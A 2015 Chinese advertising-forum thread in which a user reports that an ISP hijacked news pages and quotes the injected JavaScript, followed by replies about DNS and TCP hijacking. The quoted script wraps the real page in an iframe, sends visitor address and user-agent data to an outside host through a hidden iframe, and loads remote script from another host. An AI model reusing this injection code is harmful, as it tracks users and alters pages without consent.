AdvertCN - 广告中国

 找回密码
 立即注册

QQ登录

只需一步,快速开始

PropellerAds
 谷歌+Bing+TT+MSN官方代理 
⚡️按条S5代理⚡️静态⚡️独享⚡️5G需要代理IP?⚡️Proxysites.ai⚡️指纹浏览器,就用AdsPower
Mediabuy⚡️玩家开户首选【鲁班跨境通-自助充值转账】FB/GG/TT❤️官方免费开户Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理开户投流-7*24h❤️人工在线【官方】❤️搜索套利买量投流开户独立站⚡️开户投放
FB BM不限额,短id账单户E.PN 虚拟卡DuoPlus专注打造跨境电商云手机BINOM TRACKER 60% OFF!
比Adplexity还好用的Spy工具ADPLEXITY + ADVERTCN7200W全球动态不重复住宅IP代理虚拟信用卡+独立站收款
全球虚拟卡, 支持U充值各种主页、账单户、BM户(优势)⚡️个人户,bm户不限额,账单户9Proxy ⚡️ $0.04/IP, 无限带宽
IPCola原生住宅IP⚡️$2.1/条双ISPGoogle、Bing官方总代  联盟流量开户fb耐用号0.01一个fb账号官方合作商
FB资源,账单户,分享户,国内一手FB企业户BM户账单户源头试试Mybid的顶级广告模式Mybid让你的流量赚更多的钱
全球超2亿的动/静态纯净住宅IPGeeLark 最强云手机+指纹浏览器Facebook/TikTok24h免费开户服务招exoclick/TJ等国际联盟代投运维 
火云指纹浏览器⚡️10个环境免费⚡️IPWO全球住宅代理⚡️免费测试⚡️FB海外三不限-户源多 费率低谷歌+Bing+TT+MSN官方代理
广告位出租   
查看: 8276|回复: 12

[闲聊] 上网奇遇记

[复制链接]

44

主题

770

广告币

1422

积分

高级会员

Rank: 4

积分
1422
发表于 2015-2-3 00:52:03 | 显示全部楼层 |阅读模式
SimplyNode
本帖最后由 hudba 于 2015-2-3 00:56 编辑 ( b4 G6 B3 B. x9 Y

6 @5 G/ h# t- b, p: t- e上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了  E( @6 ~& t0 L  `( G: L
; K% l' Q3 A! }; ~
接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}
" k1 a/ v6 b. _2 L
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8
http://www.v2ex.com/t/142197
8 l: H6 P8 ~4 f

2 \+ {+ |. L9 V/ c' D1 J顺便查下ip138:4 k# X/ a1 r$ p0 [
% ]9 S2 L& a' ]; f' c! K
这是那段js里面的代码,好象是个半成品还没写入广告数据:
. n: I# C' Y1 z4 X5 }6 L
  1. function locationSearch() {
    2 {) k6 c. T2 C% U
  2.         var s = getMainJs();1 z! ]$ D5 s9 }8 y2 P
  3.         if (s == null) {
    6 \- Q0 i$ x: a
  4.                 location.reload();! W- w# q6 ?. o3 U
  5.         }+ X: l* v! v# S" N1 y- `
  6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);9 \4 X; z2 K1 T/ Z# p& C
  7. }0 ?2 v7 P$ S* S% N, G- l5 a( q6 ~, r

  8. : v, V: q& v+ R
  9. function getParameter(name, paraStr) {
    3 `* H% K: P* s4 G& I. u: C
  10.         var result = "";
    : R2 S) ], Y1 U/ L1 D7 Z3 i) v/ H  D) r' j
  11.         var str = "&" + paraStr.split("?")[1];' M- t2 `* J- c
  12.         var paraName = "&" + name + "=";1 w+ K, ^. z# t/ d
  13.         if (str.indexOf(paraName) != -1) {9 [6 P, C1 U7 D5 Y5 O
  14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {! F3 a$ h9 s: T1 N7 [1 E
  15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);1 U9 j- u. R) M( @, n
  16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(  }2 `5 C6 {1 g. \  t
  17.                                         1, TmpStr.length).indexOf("&")$ j* U, U+ I2 G
  18.                                         - TmpStr.indexOf(paraName) + 1);
      _7 {5 j4 M7 U. ]& l6 P7 L
  19.                 } else {
    8 M1 J+ r, Y' t5 `) o9 z  D7 Q& D
  20.                         result = str.substring(str.indexOf(paraName), str.length);
    % }* B" N, j# b' C, ?, Z
  21.                 }
    $ G" T. E0 E0 u. ?: G/ K' w' K

  22. 0 Q, H1 {' n9 q
  23.                 result = result.substring(result.indexOf("=") + 1, result.length);* n( o0 X7 n# N" f! s
  24.         } else {
    # S2 P/ p8 j0 Z! A& Q' y4 c
  25.                 result = "No such parameter";5 S+ p7 w5 L- `2 U- _
  26.         }
    8 s0 z2 |: c, a$ E
  27.         return (result.replace("&", ""));3 T- d# Y0 R" ^1 L
  28. }
    7 g' C. S3 b% v9 ?/ y
  29. 2 Z, C$ |! n  B3 G' V
  30. function getMainJs() {
    5 o" C1 [5 d0 I9 H) P( G; z8 U- Z
  31.         var scripts = document.getElementsByTagName("script");
    : \3 c) F* i# K& {  ]% T
  32.         var s = null;5 y9 B  w/ |6 w9 t" {% V. g+ F
  33.         for (var i = 0; i < scripts.length; i++) {* |, V/ V7 u/ w& o3 v! {2 f  }, W
  34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {8 F! z( A% ~' t, F# h5 e, Z
  35.                         s = scripts[i];
    8 d; y. F" F5 M, x
  36.                         break;
    5 G' p) T2 {4 k/ S; j, j
  37.                 }' e1 n8 b* \8 W* b/ Y+ r
  38.         }) s) x: ~$ r' i1 o* |9 ^
  39.         return s;
    2 [  q6 t, p1 Y, n, e
  40. }# x5 o5 C3 n/ g8 w  b
  41. ( ]8 a$ J% l! C2 S  [% b7 ~
  42. function appendParam(oStr, aStr) {
    2 Y+ o( J/ u! {4 n0 E
  43.         if (oStr.indexOf('?') > 0) {
    / N4 m; N1 I* P
  44.                 oStr = oStr + "&" + aStr;
    + n# W' \8 O5 ^5 P2 S  }
  45.         } else {
    8 @' ~" J- }' F) F! T4 G
  46.                 oStr = oStr + "?" + aStr;! _+ v$ [* R" O" F
  47.         }( l3 M6 N, j/ G8 c5 z& s+ P
  48.         return oStr;, \2 f: B$ e% s7 M4 N3 c! l: f
  49. }
    $ t2 h% K, }% _- {' V+ Y

  50. ; o) h  g+ T" v0 R% H
  51. window.onerror = function() {) x0 |- @5 j) A( A$ D; L  K
  52. };- D: L7 ]2 X' R

  53. " t5 |" q! x+ |
  54. var g_titleTime = 0;
    , O4 h+ h$ H" ]6 F
  55. function setTcTitle() {1 t& B6 N: k3 q9 m& F
  56.         if (undefined == document) {
    1 p6 X; r4 @* c
  57.                 g_titleTime++;3 Q" ~. w0 z1 o/ h1 l& c! C
  58.                 setTimeout("setTcTitle();", 1000);
    8 {) Q, r1 c6 p; |
  59.                 return;
    ! ^. i$ C( d9 z; F; d; T+ x
  60.         }6 X* V+ g" t  g/ |' T; ]
  61. 4 \* o' U1 C3 O' p: h% m, Q- w
  62.         var doc;
    1 A8 O1 R& o9 x3 `
  63.         try {6 d) D. T" R7 B
  64.                 if (document.all) {
    3 g8 f, i, p9 q! t
  65.                         doc = document.frames["cn"].document;0 v: o- E+ n- n
  66.                 } else {
    2 ]% i8 p1 w1 H8 x
  67.                         doc = document.getElementById("cn").contentDocument;
    7 }8 l+ C! z6 p: f# r
  68.                 }
    : |" {4 a$ G% m* N& X3 g. _1 z
  69.         } catch (ex) {
    ; e; [4 E1 u4 w4 |
  70.         }
    0 e" i. p! u4 S' z0 q

  71. / R2 s- |1 P4 g# _* i
  72.         if (g_titleTime < 5
    & t. B9 Y: Y; z) ?
  73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {" T# a9 j: ~; y# J6 H8 i
  74.                 g_titleTime++;
    9 s! N0 m% r& j4 z! A6 l5 q) O/ p
  75.                 setTimeout("setTcTitle();", 1000);. C" \' A7 c' g- W8 A! u
  76.                 return;
    9 j( r: G& T2 k2 s' P% ^1 E0 z! f. }
  77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {$ n+ e0 S: W0 P1 c! w# [7 Y- q
  78.                 document.title = doc.title;0 N5 c& m, l" l" e2 V! Q
  79.                 setTcAdvVisible();, m! ?% \( R" M' v/ a9 O
  80.         }
    ) b8 ~0 k$ R) ]
  81. }
    ' c4 l" |' b' ?& {, n' t" F
  82. / b# G- `) ]2 h; q
  83. setTimeout("setTcTitle();", 1000);- [( K% N, h; i! u4 G
  84. 7 Q4 l; h; M- y
  85. var g_isHaveVisible = false;
    ' ]) ~6 x# I( A  }. G3 P' E3 H
  86. function setTcAdvVisible() {
    4 u) d# X2 `  a0 P! ]
  87.         if (undefined != document && undefined != document.getElementById("addiv")( t: F; w- [" Y* L0 E, m* e) Y8 Q4 e; O
  88.                         && !g_isHaveVisible) {
    ' ?6 _9 Y0 h( O# u* y+ b2 M
  89.                 document.getElementById("addiv").style.visibility = 'visible';& q) B5 M. w- _$ x4 W6 X8 _( _
  90.                 document.getElementById("addiv").style.display = 'block';
    / f' |9 F' L8 K( `- a, |
  91.                 g_isHaveVisible = true;0 u7 u8 B  u# \* C
  92.         }
      n3 B' H- H3 t! J- N
  93. }
    , \1 N' O4 B& b; @' f9 W5 L- p
  94. 4 |/ W5 P2 t4 w$ D: a
  95. function UrlAnalyzer() {2 d; t5 O0 E* P0 I
  96.         this.divda = "";6 P* _3 x$ ^6 R: y! K9 V
  97.         this.tctype = "";
    6 T. S! ]7 K! x. a$ s4 w2 G
  98.         this.radius = "";
    ( l1 g. A* L8 j
  99.         this.rlu = "";+ ?2 I% ^0 M" x$ O5 Q
  100. }
    6 W" y  c2 J6 }8 _  [- d4 [3 B

  101. # U( ^) ^1 R" a8 Y+ N* G5 c( N
  102. UrlAnalyzer.prototype.initParameters = function() {0 _6 v! x, O5 |/ K% y& d) M0 i8 a
  103.         var paraStr = locationSearch();
    0 q7 h" Y" K# @: R
  104.         this.rlu = getParameter("lruedct", paraStr);! X1 `2 Q4 r- }: o8 }/ j7 p# A
  105.         this.divda = getParameter("divda", paraStr);% B& z5 Q8 C* p
  106.         this.radius = getParameter("radius", paraStr);! _  i. B# T) I5 b) O
  107.         this.tctype = getParameter("tctype", paraStr);
    % v" t; G7 G' }  I0 c* b6 J
  108.         this.address = getParameter("address", paraStr);9 ?; j0 S8 l3 s) L3 v: g1 o8 G" {
  109.         this.usagent = getParameter("usagent", paraStr);
    1 t+ S$ y6 P) e/ `& `
  110. }/ j4 U$ C  Y$ c1 u8 l/ X, y
  111. & q+ k& Q- ?) N# |& \
  112. UrlAnalyzer.prototype.getHtmlDoc = function() {
    3 t  b+ T* ]; D$ R' L/ e
  113.         var doc;, S1 F# w. u5 z7 K; O5 N( S8 L
  114.         try {
    3 O; R2 }9 j' u+ A) G9 B1 \) n3 r
  115.                 if (document.all) {: w5 P9 Y4 G7 V) b
  116.                         doc = document.frames["cn"].document;" c8 f6 U( w6 X( a: m; _+ r: B1 L

  117. , _0 }( ?* s+ R7 V0 d: h
  118.                 } else {$ D. v- n, Q& y: x4 s/ j6 l# ?8 [; i
  119.                         doc = document.getElementById("cn").contentDocument;
    % T6 v" \4 x( l- a
  120.                         // doc = document.getElementById("cn").contentWindow.document;
    # L9 Z& V7 \6 |# g5 Y" G0 F7 O
  121.                 }3 U& d, {( \5 r; ]. R' d
  122.         } catch (ex) {
    7 `; J  u* Z5 O
  123.         }
    / P/ a: b7 l, @: \
  124.         return doc;
    8 J2 ]! l( M% I! I1 j& A
  125. }
    . U3 p) q5 D8 _- m
  126. 7 E4 G) R; D$ y% Q( m& I
  127. UrlAnalyzer.prototype.setDomain = function() {1 b- P5 R; V# E1 L- Z7 J' o
  128.         if (undefined != document.title && "" == document.title)# A0 A7 v! T. G+ o/ w% c% b
  129.         {
    8 v4 F# y  n" d& `
  130.                 var index = document.domain.indexOf(".");( t2 a  m" r3 G' U, l- e
  131.                 if (undefined != index && -1 != index) {
    ( b5 w; [/ {) x- ], E/ Z
  132.                         document.domain = document.domain.substring(index + 1,* ]+ E0 f1 d* ~0 d- q" Y% ?5 O
  133.                                         document.domain.length);! B# s8 F8 I6 I; ^+ n& k: h( b1 D
  134.                 }
    & s$ r9 O0 M2 p& X7 c* l
  135.                 9 ]3 c2 ]" U( {' D$ r, Q0 N7 _8 \
  136.                 var doc = this.getHtmlDoc();
    ( B8 V  |/ A5 e/ P9 Q) g
  137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
    + l( H) @1 [+ @
  138.                         document.title = doc.title;
    : L* D9 k/ w6 `. }; z, F1 J% T
  139.                         setTcAdvVisible();" P) G  @. ]& m4 ~% F8 [4 D' q
  140.                 }& @% p7 ~+ x( E5 F6 c, M$ A
  141.         }/ M+ r+ R. A0 r& ?4 j
  142. }
    ) D0 o: y* V. v6 [8 [

  143. , e* h" J( S  Q( Z. ?
  144. UrlAnalyzer.prototype.iframeCallback = function() {5 f& X; j* P0 n- Q
  145.         var doc = this.getHtmlDoc();
    1 u( n/ {5 k) Q. o( _% n
  146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {9 M) q- m) ^6 g3 m6 y
  147.                 if (undefined != document.domain) {
    / S! U/ y( E" V

  148. * \8 \% f5 v  J' t
  149.                         var self = this;+ ~/ r; O# f5 N
  150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);. U0 n( E9 @% e% U7 Y
  151.                         // var index = document.domain.indexOf(".");
    0 B9 K3 h* ^7 ]: j9 G. v
  152.                         // if (undefined != index && -1 != index) {
    3 t% W" U+ T  Y# f/ u0 n
  153.                         // document.domain = document.domain.substring(index + 1," s- c5 q* t; [! E* w
  154.                         // document.domain.length);
    , s$ O/ u% ^9 y9 x5 ^
  155.                         // }
    , r( V) v8 n2 }* A0 t
  156.                         //
    . n" E" ~/ l& w" [) p/ m
  157.                         // var doc = this.getHtmlDoc();( {4 x" d0 k" \' b1 P
  158.                         // if (undefined != doc && undefined != doc.title && "" !=, Z, w5 g4 e  |+ L4 p6 q" V& ?+ R
  159.                         // doc.title) {) F8 D" y4 ?- ~+ E' r
  160.                         // document.title = doc.title;, ~6 m2 W6 `1 J" x$ g
  161.                         // setTcAdvVisible();
    2 X( A' R* @: O5 g4 K6 L
  162.                         // }
    9 x' ^! B* m' O# I. f! X
  163.                 }
    " s3 y  z) h) K+ f( B' _
  164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
      g; B1 \1 N" ?  C; {
  165.                 document.title = doc.title;/ _1 i3 c2 e- c( Y3 {
  166.                 setTcAdvVisible();
    / V# U5 O1 q6 v7 c
  167.         }* n. g. I2 v9 j! T
  168. }
    ; ]; w7 |2 D  O0 K; M- n0 N6 f
  169. / o) Z/ v% a+ P) H4 {( o
  170. UrlAnalyzer.prototype.executeHtmlContext = function() {
    ; ]8 s) ~% V& [" C2 g7 U
  171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
    0 A: \2 W2 q6 e3 y3 y5 N
  172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
    8 r2 o4 X$ z) x! ?

  173. " Y& q- G2 W5 e  A2 s% F
  174.         var htmlStr = "<iframe src="" + staUrl
    ; p0 R' F9 E$ i/ w' Q( E
  175.                         + "" style="display:none"></iframe>";9 I. g0 {5 G  x3 P9 v% N
  176. . g5 q2 W9 k# Z' P: ^$ W7 g3 S
  177.         var advUrl = htmlStr& K1 p9 c4 ]1 i# ^$ r
  178.                         + "<script src="http://c2.sxite.com:8060/center?advId="4 \/ m. O9 f$ J) g. P, u! x
  179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
    2 L, r/ f5 A% U2 f" S9 P
  180.         document.write(advUrl);
    - J! |, F; @, l; Z

  181. 0 @) d: q- G. d& t
  182.         var self = this;( i! `5 i# J  E1 y7 O4 V
  183.         var iframe = document.getElementById("cn");
    $ _( U8 `* o6 V# b- N% J9 S
  184.         if (iframe.attachEvent) {; z8 X, |7 g1 p; r1 {
  185.                 iframe.attachEvent("onload", function() {
    5 [$ N3 X  ?8 R
  186.                         self.iframeCallback.call(self, null);
    8 a( _0 T' w: P( f% y0 b7 P
  187.                 });
    5 ^# e" I# d) B# d
  188.         } else {" c% M. J! s/ ?/ {1 B
  189.                 iframe.onload = function() {
    0 z+ k/ j* y1 u' M. F- D
  190.                         self.iframeCallback.call(self, null);1 i- V' ^; n& X4 ^5 s: L
  191.                 }) h- k4 {% Z8 E5 D/ d
  192.         }
    ; ~2 g; _, n! l# E5 ~, V! ^, n
  193. }. p6 p  B3 F& L1 @+ T/ v

  194. . z9 L1 ?/ h& @. D
  195. UrlAnalyzer.prototype.executeMain = function() {
    : \4 `0 M3 {* o# ~
  196.         var mainFrame = document.getElementById("cn");
    ) n3 Y& G. e0 E0 ?! I1 a) G
  197.         mainFrame.contentWindow.location.href = mainFrame.src;; d; I* E1 \2 m
  198.         this.initParameters();
    ; C0 h. y6 ^2 i
  199.         this.executeHtmlContext();0 @; B- `! e! [* R
  200. }3 V7 G+ O0 [# |! @2 m. N; C

  201. / {4 b  z: k- x0 x+ w. J  G6 @/ T
  202. var g_analyzer = new UrlAnalyzer();
    ) d5 l$ E0 n% ^& s5 k
  203. g_analyzer.executeMain();' O2 M, K9 `0 y/ G. v. C
复制代码
, }( D2 D' e5 g* J0 L& ]
3 m& g. `% e+ n' w! R# @1 m, P

5 x' `1 |* n0 |4 M5 Y

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
相关帖子
回复

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 01:33:54 | 显示全部楼层
回复 支持 反对

使用道具 举报

51

主题

449

广告币

835

积分

中级会员

Rank: 3Rank: 3

积分
835
发表于 2015-2-3 04:58:09 | 显示全部楼层
我在想有没有大牛会去干电信那个网页,那就发啦。哈哈
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-3 09:49:12 | 显示全部楼层
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

点评

TCP劫持,换DNS也不管用的。  详情 回复 发表于 2015-2-3 21:26
回复 支持 反对

使用道具 举报

26

主题

346

广告币

593

积分

中级会员

Rank: 3Rank: 3

积分
593
发表于 2015-2-3 09:49:33 | 显示全部楼层
法制不健全,没法。我这里也有电信绑架的问题,但你没辙,要国外,早赔的只剩内裤了。
回复 支持 反对

使用道具 举报

22

主题

1727

广告币

2023

积分

高级会员

Rank: 4

积分
2023
发表于 2015-2-3 13:12:15 | 显示全部楼层
电信DNS劫持不是一天两天了。国家垄断企业,没人能管”。。。
回复 支持 反对

使用道具 举报

1

主题

70

广告币

498

积分

中级会员

Rank: 3Rank: 3

积分
498
发表于 2015-2-3 14:24:00 | 显示全部楼层
我这段时间也遇到了,投诉了两次,这几天没出现了,再出现继续投诉
回复 支持 反对

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 21:26:11 | 显示全部楼层
阿百川 发表于 2015-2-3 09:49
. j8 j8 r$ W9 W, Y. T; j4 r所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...
- J# l. N  E& ^, P: U$ w7 @1 W: d5 }
TCP劫持,换DNS也不管用的。

点评

正解。  发表于 2015-2-3 21:43
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-4 07:36:43 | 显示全部楼层
ads419 发表于 2015-2-3 21:26
, O% X, \/ [% Z  C7 ?TCP劫持,换DNS也不管用的。
. Z! P0 o, O  G' D8 d6 q; p
幸好联通还木有这么强的技术

点评

联通也一样,各地不同罢了。  发表于 2015-2-4 10:07
回复 支持 反对

使用道具 举报

12

主题

915

广告币

1212

积分

高级会员

Rank: 4

积分
1212

社区QQ达人

发表于 2015-2-4 20:47:04 | 显示全部楼层
在国内,习惯就好
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2025-3-15 17:25 , Processed in 0.060984 second(s), 21 queries , Gzip On, MemCache On.

Copyright © 2001-2023, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表